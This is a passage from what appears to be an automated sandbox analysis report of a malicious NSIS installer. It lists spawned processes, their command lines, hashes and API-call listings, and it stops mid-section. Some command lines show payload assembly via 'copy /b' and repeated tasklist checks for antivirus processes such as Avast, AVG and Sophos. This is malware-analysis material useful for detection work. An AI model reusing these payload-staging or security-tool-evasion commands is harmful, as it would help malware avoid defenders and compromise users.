Wow64 process (32bit):	true
Commandline:	findstr /V "nightlife" Consultants
Imagebase:	0xbc0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:10:58
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Share + ..\Crimes + ..\Briefing + ..\Rj + ..\Pierre + ..\Loving U
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:10:58
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\174436\Produces.com
Wow64 process (32bit):	true
Commandline:	Produces.com U
Imagebase:	0x1b0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:10:58
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x910000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:12:24
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe"
Imagebase:	0x2c0000
File size:	11'728'114 bytes
MD5 hash:	1DBAC9190F7C834BBB99CE9010475856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:12:25
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$5044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe"
Imagebase:	0x470000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:12:26
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT
Imagebase:	0x2c0000
File size:	11'728'114 bytes
MD5 hash:	1DBAC9190F7C834BBB99CE9010475856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:12:27
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$6044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT
Imagebase:	0x650000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:13:00
Start date:	27/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff7e04e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:13:00
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff755400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff7314e0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff736000000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff755400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff7314e0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff736000000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff755400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff7314e0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff736000000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:13:09
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff755400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:13:10
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:13:10
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff7314e0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:13:10
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff736000000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:13:10
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff755400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:13:10
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	04:13:10
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff7314e0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	04:13:10
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff736000000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:13:11
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff755400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:13:11
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:13:11
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff7314e0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:13:11
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff736000000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:13:17
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe"
Imagebase:	0x400000
File size:	979'298'672 bytes
MD5 hash:	6148379F983034E295E4A943A5F1198F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	28

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424579,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

NSIS Error, xrefs: 0040390E
/D=, xrefs: 004039D2
_?=, xrefs: 00403A90
SeShutdownPrivilege, xrefs: 00403C42
\Temp, xrefs: 00403A47
Error launching installer, xrefs: 00403AA9
~nsu.tmp, xrefs: 00403B23
NCRC, xrefs: 004039A8

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph
